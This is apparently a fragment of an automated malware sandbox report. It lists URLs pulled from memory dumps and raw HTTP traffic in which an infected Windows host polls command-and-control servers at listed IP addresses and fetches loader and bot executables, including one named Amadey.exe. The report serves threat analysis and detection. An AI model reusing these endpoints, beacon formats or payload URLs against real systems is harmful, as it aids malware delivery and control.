"http://196.251.107.130/h84jjfar/index.phpnegotiatenegoextenderkerberosntlmtsssppku2uschannel:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;%nvm_home%;%nvm_symlink%;c:\users\hapubws\appdata\local\programs\python\pytache_" - Source: "00000000-00006132.00000001.120333.63A60000.00000004.mdmp") Found URL "http://196.251.107.130/h84jjfar/index.php:\users\hapubws\appdata\local\microsoft\windows\iedownloadhistory\ogra:\users\hapubws\appdata\local\microsoftedge\sharedcachecontainers\microsoftedge_dntexception\:\users\hapubws\appdata\local\microsoftedge\sharedcachecontainers\microsoftedge_emiesitelist\:\users\hapubws\appdata\local\microsoftedge\sharedcachecontainers\microsoftedge_emieuserlist\:\users\hapubws\appdata\local\microsoftedge\sharedcachecontainers\microsoftedge_iecompat\f_pr:\users\hapubws\appdata\local\microsoftedge\sharedcachecontainers\microsoftedge_iecompatua\rivl:\users\hapubws\appdata\local\microsoftedge\sharedcachecontainers\microsoftedge_ieflipahead\:\users\hapubws\appdata\local\microsoft\windows\history\history.ie5\mshist012026020120260202\xe;..wsfh;.m_arcentifiery" - Source: "00000000-00006132.00000001.120333.63A60000.00000004.mdmp") Found URL "http://196.251.107.130/h84jjfar/index.phpdesktop-fvvf82a192.168.0.22001:0:14c9:dc0e:202c:4d7d:bf83:f35db+ncalrpc:[oleaf6532145845aebd06d57cace2ab]t" - Source: "00000000-00006132.00000001.120333.63A60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006132.00000001.120333.63A60000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/soap/envelope/accept-languagehttp://schemas.xmlsoap.org/soap/encoding/http://www.w3.org/2001/xmlschema-instancesoap:bodyhttp://www.w3.org/2001/xmlschemapostsoapactioncontent-typesoap:envelopesoap:headertruefalseyyyy-mm-dd't'hh:mm:ss'z'yyyy-mm-dd't'hh:mm:ssselectionlanguagexpathurn:groove.net:cert_accountguid_digest_origrootfolderpath_path_rootfolderpath_sessionid_shareobjectid_shareobjectname_stubfilepath_userguid_watermarkepubkeyepkalgoencryptedkeycsmkeykeyidencalgospubkeyspkalgosigalgourn:groove.net:auth" - Source: "00000000-00006256.00000000.119621.48EE9000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006256.00000000.119621.6C270000.00000004.mdmp") Found URL "https://jrsoftware.org/ishelp/index.php?topic=setupcmdlinesetupkernel32.dllsoftware\microsoft\windows" - Source: "00000000-00006652.00000000.120228.00361000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006840.00000000.118125.3EBA0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006840.00000001.118163.3EBA0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007036.00000000.118329.03370000.00000004.mdmp") Found URL "http://196.251.107.104/geter/index.php?mozilla/5.0.exekernel32.dllwininet.dlltaskstatus.dllwinspool.drvole32.dllpsapi.dllimagehlp.dllshlwapi.dllcrypt32.dllgdiplus.dllgdi32.dllopera.dllcabinet.dllwinmm.dllssl3.dllnspr4.dllurlmon.dllwininet.dllshell32.dllwinsta.dllntdll.dllws2_32.dlluser32.dlladvapi32.dll%s" - Source: "00000000-00007036.00000001.118429.00E6D000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007036.00000001.118429.03370000.00000004.mdmp") Found URL "http://196.251.107.104/geter/index.php?mozilla/5.0.exekernel32.dllwininet.dlltaskstatus.dllwinspool.drvole32.dllpsapi.dllimagehlp.dllshlwapi.dllcrypt32.dllgdiplus.dllgdi32.dllopera.dllcabinet.dllwinmm.dllssl3.dllnspr4.dllurlmon.dllwininet.dllshell32.dllwinsta.dllntdll.dllws2_32.dlluser32.dlladvapi32.dll%s" - Source: "00000000-00007624.00000000.120810.012DD000.00000002.mdmp")67:T431,GET /geter/index.php?cmd=task&uid=btldr0C452EBD3E70F269A&status=task HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 196.251.107.104 Connection: Close GET /bot_x64.exe HTTP/1.1 GET /ldr.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 196.251.107.104 Cache-Control: no-cache GET /Progressive_8127.75.4792_INSTALL.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 196.251.107.104 Cache-Control: no-cache GET /10x06x2026_x64.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.104 Cache-Control: no-cache GET /sprd2.exe HTTP/1.1 GET /ldr.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.104 Cache-Control: no-cache GET /Amadey.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.104 Cache-Control: no-cache 68:T8e8," "st=s" HTTP/1.1 404 Not Found Date: Fri 12 Jun 2026 16:20:59 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Wed 15 Apr 2026 13:48:10 GMT ETag: "0-64f7ff7607a80" Accept-Ranges: bytes Content-Length: 0 Content-Type: text/html with no response body "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E31303030303436303130312B2B2B61376333663737626538326534376463323237366639343235393136616564303036343535663830326339333633....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=10000460101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=10000470101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /api.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 21 Host: 62.60.226.159" with payload::==> "6#1)xwz{{vupt{tpr{" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>733E76707A3E2A363632786D6D737B746C7077736C7372756C7372766D2E26306C273A27....... "POST /api.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 92 Host: 62.60.226.159" with payload::==> "7+&wz{{vupt{tpr{d71'0d2!ozpd-1+,&-51bsrd4'0d0#/zs{sd#&/s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with no response body "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /16b022998f754137b60a.php HTTP/1.1 Content-Type: application/json Host: 196.251.107.130 Content-Length: 140 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "mZ4VWpVoawy3CbaoyNJpT9O8H1Te+EzZd0lh4eScN5aJ+EGscPTEYhZKRHVDCtqFkgwZ+5v3nbLYV9wd1lBZEjhffA3G4sii/kt07j0CLnLge9lIFvxsXhdSjdJ96tgJIA1GZRaRfA==" HTTP/1.1 200 OK Date: Fri 12 Jun 2026 16:21:29 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 with response body ==>6D625A525134463961315467424F5038324E3874564962735546336435556A4C615630737659335463394F4C3441756F62504F46505555624A326C5855347A56....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:21:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /h84jjfAr/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.130 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 404 Not Found Date: Fri 12 Jun 2026 16:21:00 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Wed 15 Apr 2026 13:48:10 GMT ETag: "0-64f7ff7607a80" Accept-Ranges: bytes Content-Length: 0 Content-Type: text/html with no response body "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:21:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:21:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /h84jjfAr/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.130 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 404 Not Found Date: Fri 12 Jun 2026 16:21:02 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Wed 15 Apr 2026 13:48:10 GMT ETag: "0-64f7ff7607a80" Accept-Ranges: bytes Content-Length: 0 Content-Type: text/html with no response body "POST /h84jjfAr/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.130 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 404 Not Found Date: Fri 12 Jun 2026 16:21:02 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Wed 15 Apr 2026 13:48:10 GMT ETag: "0-64f7ff7607a80" Accept-Ranges: bytes Content-Length: 0 Content-Type: text/html with no response body "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:21:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /Psd8eZaW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 196.251.107.104 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A6D3B938E7305CD82E77E3435910B0974548449F24973F5DAD377CD1BF2D1EF8BA94957271F2F0199EAB0F7AA704BB977FCE8F8DF037BCF92EA876C51FBFC8D0521B675433F3A96E864639E62DF5C60788A6B67AC79037" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E.......78:T6a9," Microsoft Corporation\"\n \"jz1shsrg.exe\" was detected as \"Borland Delphi 3.0 (???)\"\n \"151r4o5f.tmp\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a2c31a6e19a8fd620054cb7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"